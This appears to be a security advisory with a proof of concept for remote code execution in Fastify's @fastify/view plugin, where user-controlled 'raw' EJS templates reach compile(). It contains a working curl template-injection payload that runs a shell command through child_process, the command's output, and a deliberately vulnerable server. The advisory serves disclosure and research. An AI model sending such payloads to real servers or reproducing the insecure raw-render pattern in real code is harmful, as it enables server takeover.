Share
## https://sploitus.com/exploit?id=777968D9-C8CB-5873-B570-847DCBAA4CE4
#  Remote Code Execution via @fastify/view raw rendering
 

**Vendor:** Fastify  

**Component:** @fastify/view  

**Impact:** Remote Code Execution (RCE)  

**Discoverer:** Oblivionsage 

**Acknowledged by vendor:** Yes (via public comment on HackerOne)

>  As of May 2025, Fastify has updated their documentation with a clear warning:

> DO NOT USE raw with untrusted content, or you will make yourself vulnerable to Remote Code Execution (RCE) attacks.

> GitHub PR: [fastify/point-of-view#475](https://github.com/fastify/point-of-view/pull/475)  

---


##  Vulnerability Summary

Fastify's `@fastify/view` plugin allows raw template rendering using `raw: true`.  
When used with **EJS** and untrusted user input, this leads to Remote Code Execution.

Fastify's own test files demonstrate this usage pattern without warnings,  
which may mislead developers into trusting dangerous behavior.

---



# Remote Code Execution (RCE)

The `@fastify/view` plugin, when used with the EJS engine and the `reply.view({ raw: <user-controlled-string> })` pattern, allows arbitrary EJS execution. This leads to Remote Code Execution (RCE) when an attacker can control the `raw` content passed to the view renderer.
This vulnerability arises from the fact that Fastify trusts the raw template string without sanitization or restrictions when passed directly to EJS's `compile()` method.

This is a minimal example of the actual payload used:

```curl
curl -X POST http://localhost:3000/render \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'text=<%= require("child_process").execSync("id").toString() %>'
```
**Output:**

```bash
uid=1000(nullprophet) gid=1000(nullprophet) groups=... 
```


Screenshot:`curl.png`

![curl](https://github.com/user-attachments/assets/9c37ee65-202c-4c5f-8e80-43d8b89108a0)

This confirms full RCE through templating logic — matching your official examples (e.g., `reply.view({ raw })`).

This executes arbitrary commands on the server and returns the result. The server-side code did not include this logic by default — it simply passed untrusted input to a `raw` EJS context.

## The exploit works as follows:

We replicate the documented pattern and allow raw EJS injection via POST /render. Here’s the PoC server code used:

```js
// Based on official Fastify repo usage of raw templates:
// https://github.com/fastify/point-of-view/blob/master/test/test-ejs.js

const fastify = require('fastify')();
const ejs = require('ejs');
const formBody = require('@fastify/formbody');
const view = require('@fastify/view');

fastify.register(formBody); // Needed to parse POST x-www-form-urlencoded
fastify.register(view, {
  engine: { ejs }
});

// Renders raw EJS passed via POST parameter 'text'
fastify.post('/render', (req, reply) => {
  const template = req.body.text;
  
  // Pass 'require' to the template context
  return reply.view({ raw: template }, { require }, { async: false });
});

fastify.listen({ port: 3000 }, err => {
  if (err) throw err;
  console.log('Listening on http://localhost:3000');
});
```

# Based on Fastify’s own example code

The setup is directly based on real examples from the official Fastify `point-of-view` repository. Specifically:

https://github.com/fastify/point-of-view/blob/master/test/test-ejs.js

`reply.view({ raw: fs.readFileSync('./templates/index.ejs', 'utf8') }, data)`

**In our PoC, we mirrored this approach using:**

```js
reply.view({ raw: template }, { require }, { async: false });
```

This usage of `raw` is present in multiple places across the codebase, including `README.md`, test files, and example templates.

Attachment:

![readme-raw-snippet](https://github.com/user-attachments/assets/b4bbccb9-d0ad-41f8-b465-1ddcb40a838d)


![raw2](https://github.com/user-attachments/assets/fb780499-b101-404f-99b4-5720cfa8351c)


## Why this matters

The concern here isn't that Fastify itself executes commands — rather, it's that Fastify's view plugin:

Accepts raw template input with no restrictions

Compiles and executes it without warnings or sanitization

Allows developers to unknowingly expose themselves to RCE when using this pattern

This kind of behavior is exactly what makes templating injection risky in modern applications.




---

## Vendor Response:

The Fastify team acknowledged the risk but opted not to apply a code-level patch.

Following this, Fastify updated their official documentation to explicitly warn about the danger of using raw with untrusted input:

> "DO NOT USE raw with untrusted content, or you will make yourself vulnerable to Remote Code Execution (RCE) attacks.
> 
> GitHub PR: [fastify/point-of-view#475](https://github.com/fastify/point-of-view/pull/475)
> 
— Fastify Documentation (May 2025).


----

> ⚠️ This PoC is for legal security research only. Do **not** use it on systems you do not own or lack explicit permission to test.



## Author:


+ HackerOne: [oblivionsage](https://hackerone.com/oblivionsage)

+ X(Twitter): [oblivionsage](https://x.com/theoblivionsage)